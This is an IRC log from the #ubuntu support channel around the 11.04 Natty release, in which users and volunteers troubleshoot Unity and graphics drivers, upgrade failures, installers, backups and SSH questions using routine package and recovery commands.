[16:26] <HRT> Hi, please someone helps me with installing ATI Radeon HD 5470 on Ubuntu 11.04? I can't install it properly
[16:26] <wabznasm> Ubuntu_user: from the directory it's downloaded to. 'sh <filename>'
[16:26] <openbees> hi buddy ...i got a problem with my compiz effects ...whenver i am selecting compiz as my window maneger the top most bar (including min,max,close) button disapears...everything is finr with metacity except there is no effects)
[16:26] <MadRobot_> Is it normal for the new Ubuntu 11.04 to take a long time to install on my USB stick?
[16:26] <oneliner> how can i "restore" all unity/compiz settings to installation defaults?
[16:27] <htcrwn148> i know this is not a smart question, but to back up everything on my pc... do i just copy all the files to my external HD or is there a function available or how do i do it?
[16:27] <phoebe212> !beta
[16:27] <ubottu> If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[16:27] <wabznasm> openbees: me too - logout and back in when it happens. Only seems to be when changing some compiz settings
[16:27] <bison> terry: i can play the video though
[16:27] <R3dy> Trying to install JTR with 64bit support on 11.04 and getting an error on openssl/sha.h "file not found"
[16:27] <coz_> MadRobot_, other than usb being painfully slow compared to cd
[16:27] <ThomasB2k> I am running Ubuntu Maverick and I'm about to upgrade to 11.04. When I installed 10.10, I decided to set up a separate partition for my /home directory. Will this present any problems during installation?
[16:27] <arand_> oneliner: I think you can use "unity --restore"
[16:27] <kkal> Ubuntu classic saved my day
[16:27] <R3dy> can't seam to figure out what libary I need to install
[16:27] <Ubuntu_user> arand_:  I used chmod +x /path then ./file.sh
[16:27] <lcb> quellhorst, but you get the screen with kernels or not?
[16:27] <terry> bison: http://trryhend.startlogic.com/
[16:27] <oneliner> arand thisnak i ll try
[16:27] <MadRobot_> coz_, is really slower than a CD?
[16:27] <quellhorst> lcb: ok, got the screen with kernels, but i don't see the kvm kernel.
[16:28] <cebrian> kkal: how can i use ubuntu classic
[16:28] <lcb> quellhorst, right after SHIT and when the options are present press one of arrow keys or something
[16:28] <arand_> Ubuntu_user: It did not work?
[16:28] <coz_> R3dy,   google  ubuntu  openssl/sha.h "file not found"
[16:28] <oneliner> arand_:  no such option
[16:28] <openbees> wabznasm:everthing was good with 10.04 ...problem occurs between path 10.04->10.10->11.04
[16:28] <lcb> shit/SHIFT.. oopsy
[16:28] <coz_> MadRobot_,  yes it is much slower,,,
[16:28] <kkal> cebrian: logout and choose ubuntu classic from the toolbar below before loging in
[16:28] <coz_> MadRobot_, unless you have usb3
[16:28] <HRT> folks. no one's going to help me here?
[16:28] <wabznasm> openbees: I have this problem on 11.04. It's a bug, but can be worked aorund
[16:28] <MadRobot_> coz_, that's weird. :/
[16:28] <arand_> oneliner: If that is the error message, probably the script is faulty, where is the script from?
[16:28] <MadRobot_> coz_, I see.
[16:29] <lcb> quellhorst, select recovery and besides doing the DPKG option do GRUB option too
[16:29] <cebrian> i cant
[16:29] <jonii2> Why won't linux let me use unity? its telling me my hardware isn't good enough when its sooooo more than good enough.
[16:29] <oneliner> its unity?
[16:29] <cebrian> the system freezes
[16:29] <coz_> HRT,   i am not skilled at all with ati issues  ,, did you try the #radeon  channel ...yes?
[16:29] <cebrian> whenver a graphical window appears
[16:29] <lcb> quellhorst, on the second choice on top, current kernel
[16:29] <ojii> for some reason the interface language in my login screen is in japanese, but after I login everything is in English (as it should be), how can I change/fix the language in my login screen?
[16:29] <phoebe212> !ubuntu+1 | HRT
[16:29] <ubottu> HRT: Natty Narwhal is the codename for Ubuntu 11.04 - Natty has been released! - Support in #ubuntu
[16:29] <cebrian> ive been able to just login into console
[16:29] <openbees> wabznasm :  :(:( anyone here planning to fix this bug !!!
[16:29] <quellhorst> lcb: ok, doing recovery now
[16:29] <Ubuntu_user> arand_:  It 's final instruction was "running the installer wizard"
[16:30] <IdleOne> phoebe212: this is the correct channel after +1 dev branch is released.
[16:30] <kkal> cebrian: hrm... so you arent able to run X?
[16:30] <arand_> jonii2: Have you installed extra video drivers (ati/nvidia)?
[16:30] <DosAmp> say, the link to http://releases.ubuntu.com/11.04/ubuntu-11.04-netbook-i386.iso.torrent under "Alternative downloads" is a copy-and-paste error, is it? can't find a netbook remix for natty anywhere else
[16:30] <lcb> quellhorst, hopefully  corrects that...
[16:30] <cebrian> kkal: nope
[16:30] <HRT> phoebe212, I'm not going to get anything here?
[16:30] <cebrian> kkal: it freezes
[16:30] <arand_> Ubuntu_user: Where is the script from?
[16:30] <mithridates> is ubuntu natty using gnome 3 now?
[16:30] <R3dy> coz_: thx
[16:30] <jonii2> arand: yep, i just reinstalled them
[16:30] <quellhorst> lcb: well, i can boot in normal, but just wonder whats up with not getting the kvm kernel.
[16:30] <R3dy> I was missing libssl-dev
[16:30] <IdleOne> mithridates: no
[16:30] <kkal> cebrian: are you using an nvidia graphics card by any chance?
[16:31] <Ubuntu_user> arand_:  it is the installer for netbeans
[16:31] <jonii2> arand: ima restart here and see if it helps.... brb
[16:31] <R3dy> I was searching for openssl and that's why I didn't find it
[16:31] <DosAmp> mithridates: no, it's still gnome 2.32 with unity interface
[16:31] <R3dy> with apt-cache
[16:31] <cebrian> no, I think they are ATI
[16:31] <coz_> R3dy, that search should probably yeild some solution
[16:31] <phoebe212> !patience | HRT
[16:31] <ubottu> HRT: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[16:31] <cebrian> is an HP notebook elite 6930p
[16:31] <R3dy> It did
[16:31] <ddaygold> so, i want to change the login screen in ubuntu 10.10, is this possible?
[16:31] <R3dy> thank y ou
[16:31] <mithridates> is Natty stable enough to install? the last time I had lots of problems with ubuntu-desktop + unity + nvidia
[16:32] <lcb> quellhorst, you might need to reinstall it or.. try the sudo dpkg-reconfigure package
[16:32] <openbees> wabznasm : so should i sacrifice my love for compiz effects just becoz ubuntu 11.04
[16:32] <DosAmp> unity runs fine on my nvidia card with nouveau + experimental gallium3d acceleration :)
[16:32] <twig111> I need help downloading 11.04. Will someone please look at this output from zsync  http://paste.ubuntu.com/601356/ and tell me what I'm doing wrong? I'm on a limited-bandwidth connection and I can't afford to download the whole image when I already have the beta. Thanks for any help.
[16:32] <cebrian> kkal: it is strange because when i start in failmode the console is a graphical one not a text one
[16:32] <wabznasm> openbees: just set it up how you want, logout, and login and your panel should be okay. Works for me
[16:32] <Ubuntu_user> arand_:  what do you think i should do now?
[16:32] <hypetech> mithridates: it's stable on my nvidia
[16:32] <cebrian> but the login window does not work
[16:32] <mithridates> hypetech: did you upgrade from maverick?
[16:33] <oneliner> ok heads up! for people having misbehaving or haiwire unity / compiz display issues: unity --reset
[16:33] <lcb> cebrian, did you let the system upgrade or interrupted at some point?
[16:33] <DosAmp> twig111: the file is named "ubuntu-11.04-desktop-i386.iso". without the "beta2".
[16:33] <mithridates> hypetech: are you happy with what you got in Natty?
[16:33] <SomeDude1234> Since ubuntu 11.10 I have errors when I plug my USB wlan adapter and cannot connect to any of the access points (but they show up in the network-manger). Please see the dmesg output: http://pastebin.com/etdZ8Awn
[16:33] <hypetech> mithridates: do I did a fresh instally, but yes I'm very happy with natty
[16:33] <hypetech> mithridates: I'm on of the few that actually likes unity :\
[16:34] <arand_> Ubuntu_user: If you do not specifically need 7.0, install the 6.9 version (or earlier if you aren't running 11.04) from the ubuntu software centre.
[16:34] <openbees> wabznasm : my problem is not with main ubuntu desktop panel ...it is with windows ...like any aaplication , terminal , any ,file ..
[16:34] <cebrian> yes
[16:34] <kkal> hypetech: you take that back!
[16:34] <jonii2> ok so i reinstalled my graphics drivers and now ubuntu isn't even giving me errors OR a choice, it just sends me to ubuntu classic. I REALLY WANT UNITY lol
[16:34] <cebrian> lcb: yes
[16:34] <hypetech> kkal: lol
[16:34] <cebrian> lcb: i was forced to abort it
[16:34] <lcb> cebrian, try 'sudo dpkg --configure -a '
[16:34] <mithridates> kkal: don't you like unity?
[16:34] <tensai_cirno> hello, i have nasty glitch in gtk, that's ok? http://ompldr.org/vOGhwZQ/2011-04-30-193239_1280x800_scrot.png
[16:34] <lcb> cebrian, try what i wrote
[16:34] <tensai_cirno> intel hd graphics
[16:34] <speedrunnerG55v2> Hi
[16:34] <cebrian> lcb: ok, trying
[16:34] <blacky> hello...
[16:34] <mithridates> I guess MAC users like it
[16:34] <santiago> Regarding Unity vs Gnome, what I really miss is the fact that I use to customize my bars, add little apps to them, locate them where I wanted, change the size, width, color, font, etc
[16:34] <lcb> cebrian, you should tell us that on first place :p
[16:35] <santiago> while unity seems to be very rigid
[16:35] <blacky> my ubuntu 11.04 is booting using xvesa...
[16:35] <Ubuntu_user> i am of 11.04 and want 7.0 as it has less bugs and better pgp support
[16:35] <kkal> mithridates: nope. ubuntu classic saved the day for me
[16:35] <ddaygold> so, i want to change the login screen in ubuntu 10.10, is this possible?
[16:35] <Ubuntu_user> pgp/php
[16:35] <hypetech> mithridates: the keyboard shortcuts are what make it great
[16:35] <jonii2> arand_: I reinstalled drivers but it won't even let me try unity now, it just sends me straight to classic :(
[16:35] <cebrian> lcb: sorry ;)
[16:35] <blacky> any help to select openchrome would be greatly appreciated
[16:35] <hypetech> ddaygold: get "ubuntu-tweak" and you can change the background on the loging page
[16:35] <cebrian> lcb: ive just done that and no message in the console
[16:35] <DosAmp> jonii2: you can choose ubuntu (unity) or ubuntu classic at the bottom of the login screen. you need 3d acceleration drivers for unity.
[16:35] <cebrian> ill try to reboot now
[16:35] <lcb> cebrian, because ppl assumes everything went well while upgrading.
[16:35] <DosAmp> oh
[16:35] <mithridates> I don't think that I like it, I prefer terminal to unity
[16:36] <Ubuntu_user> arand_: i am of 11.04 and want 7.0 as it has less bugs and better php support
[16:36] <ddaygold> ty
[16:36] <lcb> cebrian, look at me.... hold on, i need to type a couple things...
[16:36] <blacky> hi... my 11.04 is using xvesa... any way to make it detect the card correctly? please?
[16:36] <jonii2> DosAmp: I have an NVIDIA GTS 250 with the drivers on my computer.  I can run any game i choose with max settings, so hardware isn't an issue. I'll try logging out and back in, but last time i check, Ubuntu (unity) wasn't even on the list
[16:36] <kkal> mithridates: I would've been fine with unity if they hadnt broken Alt+F2.
[16:36] <cebrian> lcb, no luck :(
[16:36] <cebrian> lcb, ill hold on
[16:36] <mithridates> kkal: what have they done to Alt+F2 ? :o
[16:37] <PalinBachman2012> you can get that back, i think
[16:37] <DosAmp> kkal: what's broken with alt+f2? it looks like the app dialog, but it's actually a launcher
[16:37] <twig111> I need help downloading 11.04 using zsync. Can someone look at this output http://paste.ubuntu.com/601356/ and see what I'm doing wrong? Thanks!
[16:37] <DosAmp> e.g. i can type "gconf-editor" even though it's not under applications
[16:37] <glda19> who can help me with my debug
[16:37] <Ubuntu_user> arand_:  it never proceeds the starting installer wizard
[16:37] <lcb> cebrian, press SHIFT after bios messages and before grub loading. Select the second option on the top (recovery), Select DPKG option, then, GRUB option, then failsafeX option. Selet on there to fix X and then default configuration and CANCEL, and restart X.
[16:37] <jonii2> DosAmp: just as i thought, ubuntu refused to give the option of booting to unity
[16:38] <kkal> mithridates: DosAmp: various things. it wont complain if you've entered something non-existing. it doesnt autocomplete
[16:38] <glda19> who can help me with my debug http://fpaste.org/5gAb/
[16:38] <DosAmp> twig111: look at my answer above. drop the "beta2" part.
[16:38] <Vessago> http://pastebin.com/Z8TaGubD
[16:38] <mithridates> kkal: that's obscene , jk
[16:38] <DosAmp> it won't work with the final zsync
[16:38] <jonii2> DosAmp:  Ubuntu, Ubuntu (classic) ubuntu safe mode, theres a lot of options but not unity
[16:38] <lcb> cebrian, write that down and try to see if fixes your upgrading
[16:39] <cebrian> lcb, ok
[16:39] <arand_> Ubuntu_user: It works fine for me: "chmod +x ./netbeans-7.0-ml-linux.sh" "./netbeans-7.0-ml-linux.sh"
[16:39] <cebrian> lcb, going firts for the dpkg
[16:39] <lcb> cebrian, reboot when you get the login screen
[16:39] <PalinBachman2012> jonii2: Ubuntu IS unity
[16:39] <PalinBachman2012> Ubuntu Classic is the old style
[16:39] <kkal> mithridates: plus it laggy
[16:39] <jonii2> PalinBachman2012: lol not in this case, its sending me back to the old style if i pick just ubuntu
[16:39] <jonii2> unless unity looks EXACTLY like old ubuntu without compiz
[16:39] <Ubuntu_user> arand_:  i had just renamed the file to nb.sh
[16:40] <lcb> cebrian, do CLEAN too on there. On DPKG check if no errors updating
[16:40] <PalinBachman2012> jonii2: have you tried installing compiz settings, and enabling unity there
[16:40] <lcb> cebrian, if so..  try again. means the connection was not established or slow mirrors
[16:40] <jonii2> PalinBachman2012: I'll try that i guess
[16:40] <raven_> jhead how to display only the exif time?
[16:41] <Guest68448> Hello. I have an mp4 player. I cannot find my mp3/mp4 files once I've transferred them from my laptop to my mp4 player. What am I missing?
[16:41] <cebrian> lcb, just hold on
[16:41] <cebrian> lcb, trying
[16:41] <PalinBachman2012> jonii2: ussually if unity is not your default desktop, then the system thinks your card cannot handle accelleration
[16:41] <twig111> DosAmp: Did you look closely at what I posted? I have the correct url. I'm using the beta2 iso for the seed file. You can see in the output that zsync marks it at 71.2% complete. I believe my syntax is correct. Please explain if I am missing something.
[16:41] <PalinBachman2012> so it disables it
[16:42] <PalinBachman2012> zsync http://cdimage.ubuntu.com/daily-live/current/natty-desktop-amd64.iso.zsync in the dir with the old file just worked for me
[16:42] <jonii2> PalinBachman2012: how do i enable unity from the compiz settings?
[16:43] <njbair> so banshee is converting my tracks to .wav when I copy them to my iPod... can I make it use MP3 instead?
[16:43] <PalinBachman2012> jonii2: you click the box next to unity
[16:43] <jonii2> PalinBachman2012: I know but i can't find unity on here'
[16:43] <coz_> njbair,  wow mm  i dont banshee at all,, so I cant help with this issue,, have you asked the banshee people or googled this ..yes?
[16:43] <Guest68448> Hello. I have an mp4 player. I cannot find my mp3/mp4 files once I've transferred them from my laptop to my mp4 player. However, I can see the files, just not the contents. What am I missing?
[16:43] <pattern> how do i get a list of services that i've added via update-rc.d ?
[16:44] <jonii2> PalinBachman2012: and when i search it comes back with nothing
[16:44] <njbair> coz_: since banshee is now the default in 11.04 I figured I'd ask in here.
[16:44] <njbair> but google was no help
[16:44] <Ubuntu_user> arand_:  check this image http://img806.imageshack.us/i/screenshotqeg.png/
[16:44] <coz_> njbair,  yes that makes sense,, i would still either or both goodle this and ask the banshee people,, you would get a better response that way
[16:45] <arand_> raven_: I would use jhead in conjunction with grep
[16:45] <coz_> njbair, rather "google"
[16:45] <raven_> arand_, ok
[16:45] <kkal> Guest68448: can you mount the mp4 player as a mass storage device?
[16:45] <htcrwn148> for backup purpose does the Home/user directory have everything that i have installed (files folders programs?)
[16:45] <cebrian> lcb, i have no connectivity
[16:45] <cebrian> lcb, no network
[16:45] <kkal> Guest68448: what do you mean by seeing the files but not the contents?
[16:46] <Guest68448> kkal: is shows up on my desktop as a 7.8 GB Filesystem
[16:46] <zatan> hi, why I cant make chrome default my webrowser on 11.04? Its set default, but than I am trying to website from xchat its oppening with firefox
[16:46] <arand_> Ubuntu_user: Hmm, maybe you need to be in the same directory as the .sh file?
[16:46] <lcb> cebrian, if that doesn't fix and since yu broke/stopped the upgrading process i would use a live cd, backup (compress with nautilus option and copy to other media) /home (you might want to backup /etc and /usr too ) and better of fresh install 11.04. NOTICE that is what i would do.
[16:46] <PalinBachman2012> jonii2: you installed compizconfig-settings-manager and Ubuntu Unity Plugin is not in the Desktop settings? If so, I would think maybe you are not upgraded properly
[16:46] <kkal> Guest68448: can you open it and see the contents?
[16:46] <snowrichard> got the 11.04 upgrade done ... new desktop takes a bit of getting used to
[16:46] <tensorpudding> htcrwn148: it'll have everything you added except programs, for the most part
[16:46] <cebrian> lcb, ok
[16:46] <cebrian> lcb ill do that
[16:46] <quellhorst> what kernel should i install to run kvm?
[16:46] <cebrian> lcb thanks
[16:46] <lcb> cebrian, better, really
[16:46] <Guest68448> kkal: I see the folders but not the mp3/mp4/avi, or whatever
[16:46] <kkal> snowrichard: at it takes a bit more time for you to want to rip your eyes out
[16:47] <Ubuntu_user> arand_:  so what i need to do for that, thanks for ur time
[16:47] <htcrwn148> tensorpudding: what about wine programs?
[16:47] <lcb> cebrian, upgrades must not be interrupted. if so damages the system
[16:47] <tensorpudding> htcrwn148: wine programs are installed under the user's directory
[16:47] <terrylm> X screen goes gray, mouse still works, every thing apparently still works, just can not be see except the mouse cursor.  Ideas?
[16:47] <arand_> Ubuntu_user: Hmm, doesn't seem so though...
[16:47] <jonii2> PalinBachman2012: yep i installed that and i can't find unity, but i know i upgraded.... the first time i booted it told me my hardware wasn't good enough to run unity and wouldn't let me close the error box...
[16:47] <htcrwn148> tensorpudding: but those would be backed up?
[16:47] <Guest68448> kkal: I don't have this problem on Windoze so I suspect I am simply missing a file
[16:47] <Ubuntu_user> arand_:  pardon me, didn't get you
[16:48] <tensorpudding> htcrwn148: everything under the user's home directory is backed up, including the wine programs
[16:48] <jonii2> PalinBachman2012: hang on.... i found it in ubuntu software center so i'm installing it through there
[16:48] <PalinBachman2012> jonii2: what video card do you have, and does the 'restricted drivers' thinggee show up
[16:48] <arand_> Ubuntu_user: working dir doesn't seem to matter: http://imagebin.org/151003
[16:48] <ThomasB2k> I am running Ubuntu Maverick and I'm about to upgrade to 11.04. When I  installed 10.10, I decided to set up a separate partition for my /home  directory. Will Ubuntu automatically detect my separate /home partition  and use it in Natty?
[16:48] <kkal> Guest68448: tried pasting the mp4 files directly into a folder on the mp4 player that looks like "music/audio" ?
[16:48] <tensorpudding> htcrwn148: unless your backup software has explicit exceptions
[16:48] <tensorpudding> ThomasUK: no
[16:49] <phoebe212> !kvm | quellhorst
[16:49] <ubottu> quellhorst: kvm is the preferred virtualization approach in Ubuntu. For more information see https://help.ubuntu.com/community/KVM
[16:49] <jonii2> PalinBachman2012: I have the Nvidia GTS 250 1GB and yes, restricted drivers shows up, works, and i have the drivers and the nvidia control panel.  games work great, but this doesn't.
[16:49] <Ubuntu_user> arand_:  its working fine on yours
[16:49] <PalinBachman2012> jonii2: then you should be good to go, once you get unity installed
[16:49] <htcrwn148> tensorpudding: ill try backing up manually and with simple backup...
[16:49] <jonii2> PalinBachman2012: hang on
[16:49] <tensorpudding> ThomasUK: what you must do, when you get to the partitioning step, is find your /home partition and tell the installer to NOT format it, and to mount it at /home
[16:49] <jonii2> PalinBachman2012: I SEE IT!!!!!!!!!!!!!!!!!!!!!!! lol
[16:49] <plustax> Is anyone else experiencing lag in 11.04? It takes a little longer to open programs, and also facebook navigating through pictures seems like it takes forever.
[16:49] <Sledge> is anyone else having problems with java and flash, not working after the update to 11.04
[16:49] <Guest68448> kkal: I had the same problem under a different distro. Help told me I was simply missing a file but I cannot even remember the name of it. It was something about compatibility or codecs or something
[16:50] <jonii2> PalinBachman2012: thanks dude, your the only person so far who hasn't told me to fix everything by opening the console, im gonna relog and see if it works now
[16:50] <twig111> PalinBachman2012: I don't know if you were replying to me awhile ago on the zsync download issue or not, but here's what's happening now. http://paste.ubuntu.com/601371/
[16:50] <arand_> Ubuntu_user: Yea, I don't know what the difference is though, I am running Debian, here... I'll check if it's an Ubuntu thing...
[16:50] <twig111> Does this tell you anything? Is the server just too busy?
[16:50] <Ubuntu_user> arand_:  there's some hitch that we are not able to pick. It didn't even asked for my password
[16:50] <quellhorst> phoebe212: i read that but still need help on the kernel.
[16:50] <Guest68448> kkal: the mp4 player's software is android
[16:50] <romno0x> when i use -X in ssh actually what happen then?
[16:51] <noody> Hi
[16:51] <ThomasB2k> thank you tensorpudding, although you didn't highlight me correctly. Thanks for the help.
[16:51] <Ubuntu_user> any body on irc getting to point please
[16:51] <romno0x> no answer?
[16:52] <openbees> unity panel and application launcher disappear ...from default ubuntu session
[16:52] <PalinBachman2012> twig111: your HD might be full, or else, the ubuntu servers might be getting hammered and the connection is being interupted
[16:52] <djazz> why does ubuntu's default bluetooth applet never work? :|
[16:52] <openbees> any idea how to fix
[16:52] <romno0x> romno0x: ..
[16:52] <sudipta> hey guys...after much furore...finally able to use unity...with free mesa driver
[16:52] <PalinBachman2012> twig111: they might be moving some DNS stuff around, but IDK
[16:53] <romno0x> how can i install my ssh server?
[16:53] <arand_> Ubuntu_user: Well, it works for me on natty as well...
[16:53] <PalinBachman2012> twig111: i had some probs installing from aptitude that were related to dns and/or wrong moved ips
[16:53] <jonii2> PalinBachman2012: thanks so much... unity works, almost. 2 issues, and one might not be an issue. First, ITS BLINDINGLY WHITE!!!! where can i go to change it back to my old theme?
[16:53] <Ubuntu_user> arand_:  ahhh so can you figure out what could be the problem
[16:53] <tensorpudding> romno0x: search for openssh-server in the software center, when installed it will be started automatically, and you're good to go
[16:53] <hypetech> romno0x: "sudo apt-get install openssh-server"
[16:53] <PalinBachman2012> jonii2: its white? its supposed to be a dark theme, iirc
[16:54] <arand_> Ubuntu_user: Maybe you want to try re-downloading, make sure it's the right version, etc..
[16:54] <PalinBachman2012> jonii2: i guess in your appearance settings
[16:54] <terrylm> X, screen goes gray, mouse still works, every thing apparently still works, just can not be see except the mouse cursor.  Ideas?
[16:54] <tensorpudding> jonii2: blindingly white? it should look the same as always
[16:54] <Ubuntu_user> arand_:  I tried both the installers one from netbens.org and other from oracle.com bundled with jdk
[16:54] <kkal> Guest68448: you would be missing a package if you're talking about missing codecs. Although I dont see how missing a codec will prevent you from transfering files to the player
[16:54] <Guest68448> kkal: could it be due to me missing ffmpeg?
[16:54] <KillaloT> jonii2, you can right click on your desktop, click change background .. then there's a tab called "themes" ... you should be able to change to a darker theme
[16:54] <twig111> PalinBachman2012: I've tried it probably a dozen times since day before yesterday. Do you know anything I could do to troubleshoot, or do I just have to wait until the traffic subsides on the servers.
[16:54] <arand_> Ubuntu_user: This the one I used: http://netbeans.org/downloads/start.html?platform=linux&lang=en&option=all
[16:54] <KillaloT> jonii2, but default theme should be rather dark :))
[16:54] <jonii2> PalinBachman2012: tensorpudding: yeah thats what i thought... but i'm really confused cause i can't find my appearance settings
[16:54] <Sledge> jonii2
[16:55] <Guest68448> kkal: I'm just installing ffmpeg now
[16:55] <Ubuntu_user> arand_: i do have it
[16:55] <serverfel> So what do you guys think of 11.04?
[16:55] <tensorpudding> jonii2: just search for it under the applications dash
[16:55] <PalinBachman2012> jonii2: you have to press the win key and start typing the name
[16:55] <Sledge> there you go
[16:55] <noody> Hi
[16:55] <noody> Gg
[16:55] <noody> Hf
[16:55] <noody> Tdf
[16:55] <noody> Hi
[16:55] <FloodBot3> noody: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[16:55] <arand_> Ubuntu_user: Right, well then I don't know why it doesn't work for you..
[16:55] <jonii2> ok well the bar at the top is still white, and so is chatzilla... but it has a dark theme :(
[16:55] <romno0x> hypetech: and what does exactly -X do when I use it in SSH command line?
[16:55] <jonii2> and i can't move the appearance window around
[16:55] <Thanatos> What is the terminal command for exiting X to load drivers?
[16:55] <Ubuntu_user> arand_:  thanks for your time
[16:55] <hypetech> romno0x: it allows X11 forwarding, but I'm not sure of the proper use
[16:56] <Ubuntu_user> I try through forums too
[16:56] <Sledge> Yeah i don't really care for the new GUI ive had some serious issues with getting used to it also
[16:56] <romno0x> hypetech: what does it do X11 forwarding? i mean what is it?
[16:56] <Souperman> hello, what can i use to stream to an icecast2 server whitout having to use JACK?
[16:56] <VCoolio> Thanatos: sudo service gdm stop
[16:56] <ubuntu> just installed 11.04 and now i cannot get i to the system. I am currently using the live session from my install usb. please help
[16:56] <PalinBachman2012> I didnt like Unity at firest, but now i like it, once i added some nice hotcorners
[16:56] <HouseMD> romno0x: you run an app on a remote host and you get its display (i.e. window) in your host
[16:57] <Crazy1> did anyone know de channel of Regular-Expressions??
[16:57] <noody> Ji
[16:57] <greylurk_> any instructions on how to install Oracle JDK in Natty?
[16:57] <tensorpudding> romno0x: X11 forwarding means that if you start an X11 application inside the remote shell, the display is forwarded to your host, so you can use those applications remotely
[16:57] <KillaloT> Unity in netbook release of 10.10 was  shit, but i begin to like it in 11.04
[16:57] <jw_> When installing 11.04 on a RAID, where should boot loader be installed?? Dev mapper win7 partition or dev/SDA ?
[16:57] <iceroot> Crazy1: #regex
[16:57] <xangua> !java | greylurk_
[16:57] <ubottu> greylurk_: To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[16:57] <Sledge> PalinBachman2012,  oh is this UNITY?
[16:57] <Sledge> PalinBachman2012,  i heard alot about it.
[16:57] <IdleOne> !language | KillaloT
[16:57] <ubottu> KillaloT: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[16:57] <Sledge> PalinBachman2012, didn't even realise thats what happen when i upgarded. lol
[16:57] <noody> Gh
[16:57] <noody> H
[16:57] <Crazy1> iceroot: THANKYOU
[16:57] <noody> J
[16:58] <KillaloT> :(
[16:58] <rumpe1> Crazy1, /msg alis list *regex*   (if you plan to search for channels in the future)
[16:58] <noody> Hi
[16:58] <Souperman> oh... wait... darkice is working D:
[16:58] <Guest68448> kkal: it hasn't made a difference. I can see the files within the folders through Ubuntu but when I try to run them with the mp4 player is see only folders without content.
[16:58] <jonii2> WOW ok so my theme only half works, most thinks are a terrible shade of grayish white. and if i unmaximize windows, i can't move them
[16:58] <jw_> When installing 11.04 on a RAID, where should boot loader be installed?? Dev mapper win7 partition or dev/SDA ?
[16:58] <iceroot> Crazy1: you can use regex on /msg alist list :)
[16:58] <tensorpudding> jonii2: can we see a screenshot of what's wrong
[16:58] <greylurk_> xangua - those only seem to cover maverick and lucid.
[16:59] <jonii2> tensorpudding: sure hang on
[16:59] <serverfel> I tried 11.04 on two computers, and im not to pleased. Think Unity is kinda lame, but i guess it needs getting used to. Looking foward to trying Gnome 3 instead.
[16:59] <sosaited> What is the most active video conversion/transcoding related channel for Linux/Ubuntu?
[16:59] <djazz> blueman doesnt work either? :|
[16:59] <BlouBlou> djazz: works perfectly
[16:59] <phoebe212> sosaited: #mythbuntu?
[17:00] <jw_> anyone know?
[17:00] <compdoc> is there a simple way to help a user remotely using vnc? can they share their desktop?
[17:00] <djazz> BlouBlou: i have two adapters, and neither works
[17:00] <sosaited> phoebe212, Isn't that sort of specific to mythbuntu and not general video related channel
[17:00] <hypetech> compdoc: teamviewer is the simplist way
[17:00] <Sledge> flash games or HULU not working
[17:00] <jonii2> ok well i'm uploding the picture but its gonna look funny cause i have to screens
[17:00] <Sledge> after upgrade
[17:01] <djazz> maybe I need reboot?
[17:01] <rumpe1> Sledge, already installed flashplugin-nonfree?
[17:01] <njbair> update: in case anyone asks, it looks like the upgrade to 11.04 uninstalled ubuntu-restricted-extras. I had to reinstall it manually in order to encode to MP3 instead of WAV in Banshee.
[17:01] <Sledge> rumpe1,  i went to synaptec and it says its already installed..
[17:01] <Sledge> rumpe1,  well it says flash is already installed
[17:01] <mikinanuq> jw_: /dev/sda is the more logical location.. the BIOS looks at the first ### blocks (don't know exactly) of the boot drive.. not in the first partition
[17:01] <greylurk_> anyone know of a PPA thtat includes Eclipse 3.6.2?
[17:01] <jonii2> tensorpudding: do you have teamviewer? my picture doesn't want to upload lol
[17:02] <tensorpudding> no
[17:02] <sebikul> Hi to everyone!. When upgrading to natty today (having already installed all drivers, etc.),  after the plymouth screen disappears , I am left with a screen with the nvidia logo, the PC is locked there,  it doesn't load any further, and I must restart by pressing Alt + Sys + B. I have a video card Nvidia GForce GT220 PCI  and onboard Geforce 6150 LE, but not being used.
[17:02] <jonii2> oh i think it worked
[17:02] <rndm> ok. i am trying to override policykit so that i can install updates without having to type my password but it doesn't seem to want to give in. What am I doing wrong? http://paste.ubuntu.com/601378/
[17:02] <scorch2> whats goin down in ds mother trucker?
[17:02] <jonii2> http://img171.imageshack.us/i/badcolors.png/
[17:02] <sebikul> The only thing I could get from the logs is this  (http://paste.ubuntu.com/601117). Note that this only happens when using the proprietary driver. When using nouveau I can use ubuntu without a problem, same as when using a failsafe boot
[17:02] <tensorpudding> oh, that's what i got for a moment
[17:02] <xangua> !language | scorch
[17:03] <ubottu> scorch: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[17:03] <jw_> I ask only because it failed to install it to sda then asked where I would like to install it.
[17:03] <Ubuntu_user> arand_:  okay is there any sudo apt-get for netbeans 7.0
[17:03] <Sledge> rumpe1 , just installed it now.. should i reboot?
[17:03] <axisys> is there a ppa for google chromium?
[17:03] <jonii2> thats what my desktop looks like, its weird though because i have 2 monitors
[17:03] <Chrom_> hi all. anyone noticed that in Natty, using the classical gnome, you can't drag items into the trash applet? The items are added to the panel instead of being trashed.. :)
[17:03] <ubuntu> hello anyone there
[17:03] <axisys> is there a ppa for google chrome rather?
[17:03] <arand_> Ubuntu_user: No, only 6.9
[17:03] <xangua> axisys: chromium is already in the repository
[17:03] <Ubuntu_user> aarrrgghh
[17:03] <tensorpudding> jonii2: that happened to me randomly, i changed the theme back and logged out and logged back in and it looked fine
[17:03] <axisys> xangua: oh ok
[17:03] <scorch2> so
[17:03] <jonii2> tensorpudding: alright i'll try that
[17:03] <rumpe1> Sledge, usually reboots are only necessary after deep system updates... i would recommend you try it with google chrome, which has a own flash builtin
[17:03] <tensorpudding> jonii2: also how did you get the launcher on the right?
[17:04] <Sledge> rumpe1 just did, didnt work.
[17:04] <plastic> hi all!
[17:04] <axisys> xangua: i see.. i was looking for google chrome which is based on chromium
[17:04] <scorch2> xangu there was nothing wrong with what i said
[17:04] <mikinanuq> jw_: how many drives in the RAID? what RAID system are you using?
[17:04] <xangua> axisys: download it from google chrome's web
[17:04] <rumpe1> Sledge, ok. Next step i would recommend is starting browser by terminal and check for error-messages / warnings
[17:04] <xangua> ...
[17:04] <Barridus> does gwibber... uh... work?
[17:05] <jw_> RAID 0 2 drives
